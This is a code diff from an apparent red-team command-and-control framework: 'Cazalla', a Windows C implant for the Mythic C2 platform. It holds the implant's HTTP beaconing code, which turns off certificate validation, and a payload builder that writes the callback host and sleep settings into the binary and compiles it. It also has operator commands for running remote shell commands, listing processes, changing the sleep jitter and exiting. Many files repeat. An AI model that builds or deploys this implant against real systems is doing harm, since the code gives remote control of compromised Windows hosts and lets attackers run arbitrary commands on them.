if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0;
return codigoDeEstado;
}
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL;
DWORD respSize = 0;
UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy;
}
if (cazallaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
// Crear sesión HTTP
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL;
// Conectar al servidor
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL;
// Crear petición HTTP/HTTPS
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL;
// Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) {
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
}
// Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
}
}
// Enviar la petición
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
return NULL;
}
// Recibir respuesta
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n");
return NULL;
}
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
return NULL;
}
// Leer respuesta
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL;
}
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL;
}
respSize += dwDescargado;
if (!respBuffer) {
respBuffer = LocalAlloc(LPTR, respSize);
}
else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024);
} while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return nuevoAnalizador((PBYTE)respBuffer, respSize);
}
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
return realizarPeticionHTTP(datos, tamano);
#endif
return NULL;
}
@@ -1,16 +1,16 @@
#pragma once
#ifndef TRANSPORTE
#define TRANSPORTE
#include <windows.h>
#include <winhttp.h>
#include "cazalla.h"
#include "analizador.h"
#pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#pragma once
#ifndef TRANSPORTE
#define TRANSPORTE
#include <windows.h>
#include <winhttp.h>
#include "cazalla.h"
#include "analizador.h"
#pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#endif
@@ -1,198 +1,196 @@
#include "utils.h"
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51 };
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
int aleatorioInt32(int min, int max){
return (rand() % (max - min + 1)) + min;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
SIZE_T elen;
SIZE_T i;
SIZE_T j;
SIZE_T v;
if (in == NULL || len == 0) {
return NULL;
}
elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) {
return NULL;
}
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}
else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
}
else {
out[j + 3] = '=';
}
}
return out;
}
SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len;
SIZE_T ret;
SIZE_T i;
if (in == NULL) {
return 0;
}
len = strlen(in);
ret = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
}
else {
break;
}
}
return ret;
}
int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') {
return 1;
}
if (c >= 'A' && c <= 'Z') {
return 1;
}
if (c >= 'a' && c <= 'z') {
return 1;
}
if (c == '+' || c == '/' || c == '=') {
return 1;
}
return 0;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
SIZE_T i;
SIZE_T j;
int v;
if (in == NULL || out == NULL) {
return 0;
}
len = strlen(in);
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
return 0;
}
for (i = 0; i < len; i++) {
if (!b64IsValidChar(in[i])) {
return 0;
}
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
v = b64invs[in[i] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
if (in[i + 2] != '=') {
out[j + 1] = (v >> 8) & 0xFF;
}
if (in[i + 3] != '=') {
out[j + 2] = v & 0xFF;
}
}
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF;
(buffer)[3] = (value) & 0xFF;
}
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF;
value >>= 8;
buffer[6] = value & 0xFF;
value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8;
buffer[0] = value & 0xFF;
#include "utils.h"
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51 };
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
int aleatorioInt32(int min, int max) {
return (rand() % (max - min + 1)) + min;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
SIZE_T elen;
SIZE_T i;
SIZE_T j;
SIZE_T v;
if (in == NULL || len == 0) {
return NULL;
}
elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) {
return NULL;
}
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}
else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
}
else {
out[j + 3] = '=';
}
}
return out;
}
SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len;
SIZE_T ret;
SIZE_T i;
if (in == NULL) {
return 0;
}
len = strlen(in);
ret = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
}
else {
break;
}
}
return ret;
}
int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') {
return 1;
}
if (c >= 'A' && c <= 'Z') {
return 1;
}
if (c >= 'a' && c <= 'z') {
return 1;
}
if (c == '+' || c == '/' || c == '=') {
return 1;
}
return 0;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
SIZE_T i;
SIZE_T j;
int v;
if (in == NULL || out == NULL) {
return 0;
}
len = strlen(in);
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
return 0;
}
for (i = 0; i < len; i++) {
if (!b64IsValidChar(in[i])) {
return 0;
}
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
v = b64invs[in[i] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
if (in[i + 2] != '=') {
out[j + 1] = (v >> 8) & 0xFF;
}
if (in[i + 3] != '=') {
out[j + 2] = v & 0xFF;
}
}
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF;
(buffer)[3] = (value) & 0xFF;
}
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF;
value >>= 8;
buffer[6] = value & 0xFF;
value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8;
buffer[0] = value & 0xFF;
}
@@ -1,27 +1,27 @@
#pragma once
#ifndef UTILS
#define UTILS
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x )
#endif
#ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x)
#endif
SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
#endif
#pragma once
#ifndef UTILS
#define UTILS
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x )
#endif
#ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x)
#endif
SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
#endif
@@ -1,131 +1,131 @@
import pathlib
import tempfile
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree
import asyncio
class CazallaAgent(PayloadType):
name = "Cazalla"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
c2_profiles = ["http"]
mythic_encrypts = False
translation_container = "cazalla_translator"
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["exe", "dll", "debug_exe","debug_dll"],
default_value="exe"
),
]
agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_code_path = agent_path / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
]
async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success)
Config = {
"payload_uuid": self.uuid,
"callback_host": "",
"USER_AGENT": "",
"httpMethod": "POST",
"post_uri": "",
"headers": [],
"callback_port": 80,
"ssl":False,
"proxyEnabled": False,
"proxy_host": "",
"proxy_user": "",
"proxy_pass": "",
}
stdout_err = ""
for c2 in self.c2info:
profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else:
Config[key] = val
break
if "https://" in Config["callback_host"]:
Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "":
Config["proxyEnabled"] = True
# create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Applying configuration",
StepStdout="All configuration setting applied",
StepSuccess=True
))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]:
content = content.replace("%SSL%", "TRUE")
else:
content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]:
content = content.replace("%PROXYENABLED%", "TRUE")
else:
content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0)
f.write(content)
f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
print(stdout)
print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout="Successfuly compiled Ra",
StepSuccess=True
))
build_msg = ""
resp.payload = open(filename, "rb").read()
return resp
import pathlib
import tempfile
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree
import asyncio
class CazallaAgent(PayloadType):
name = "Cazalla"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
c2_profiles = ["http"]
mythic_encrypts = False
translation_container = "cazalla_translator"
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["exe", "dll", "debug_exe","debug_dll"],
default_value="exe"
),
]
agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_code_path = agent_path / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
]
async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success)
Config = {
"payload_uuid": self.uuid,
"callback_host": "",
"USER_AGENT": "",
"httpMethod": "POST",
"post_uri": "",
"headers": [],
"callback_port": 80,
"ssl":False,
"proxyEnabled": False,
"proxy_host": "",
"proxy_user": "",
"proxy_pass": "",
}
stdout_err = ""
for c2 in self.c2info:
profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else:
Config[key] = val
break
if "https://" in Config["callback_host"]:
Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "":
Config["proxyEnabled"] = True
# create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Applying configuration",
StepStdout="All configuration setting applied",
StepSuccess=True
))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]:
content = content.replace("%SSL%", "TRUE")
else:
content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]:
content = content.replace("%PROXYENABLED%", "TRUE")
else:
content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0)
f.write(content)
f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
print(stdout)
print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout="Successfuly compiled Ra",
StepSuccess=True
))
build_msg = ""
resp.payload = open(filename, "rb").read()
return resp
@@ -1,38 +1,38 @@
from mythic_container.MythicCommandBase import *
import json
class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("Este comando no debe tener parametros")
class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Task para cerrar el proceso del implante"
version = 1
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
type = taskData.args.get_arg("type")
response.DisplayParams = type
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
from mythic_container.MythicCommandBase import *
import json
class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("Este comando no debe tener parametros")
class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Task para cerrar el proceso del implante"
version = 1
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
type = taskData.args.get_arg("type")
response.DisplayParams = type
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,44 @@
from mythic_container.MythicCommandBase import *
import json
class PsArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("ps no debe lanzarse con parametros")
class PsCommand(CommandBase):
cmd = "ps"
needs_admin = False
help_cmd = "ps"
description = "Lista los procesos del host."
version = 1
supported_ui_features = ["process_browser:list"]
author = "Kaseya OFSTeam"
argument_class = PsArguments
browser_script = BrowserScript(
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
)
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -1,44 +1,44 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="command",
type=ParameterType.String,
description="Comando a ejecutar"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell {command}"
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="command",
type=ParameterType.String,
description="Comando a ejecutar"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell {command}"
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -1,83 +1,83 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class SleepArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="seconds",
type=ParameterType.Number,
description="Sleep en segundos",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="jitter",
type=ParameterType.Number,
description="Porcentaje del jitter en segundos",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=2
)]
),
]
async def parse_arguments(self):
logging.info(f"parse_arguments : {self.command_line}")
if len(self.command_line) == 0:
raise ValueError("Must supply a command to run")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
logging.info(f"parse_dictionary : {dictionary_arguments}")
seconds = dictionary_arguments.get("seconds")
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
if seconds is None:
raise ValueError("The 'seconds' key is required in the dictionary.")
if not isinstance(seconds, int) or seconds < 0:
raise ValueError("The 'seconds' value must be a non-negative integer.")
# Explicitly map parsed dictionary values to parameters
self.add_arg("seconds", seconds)
self.add_arg("jitter", jitter)
class SleepCommand(CommandBase):
cmd = "sleep"
needs_admin = False
help_cmd = "sleep <segundos> [jitter]"
description = "Cambiar el sleep."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1029"]
argument_class = SleepArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class SleepArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="seconds",
type=ParameterType.Number,
description="Sleep en segundos",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="jitter",
type=ParameterType.Number,
description="Porcentaje del jitter en segundos",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=2
)]
),
]
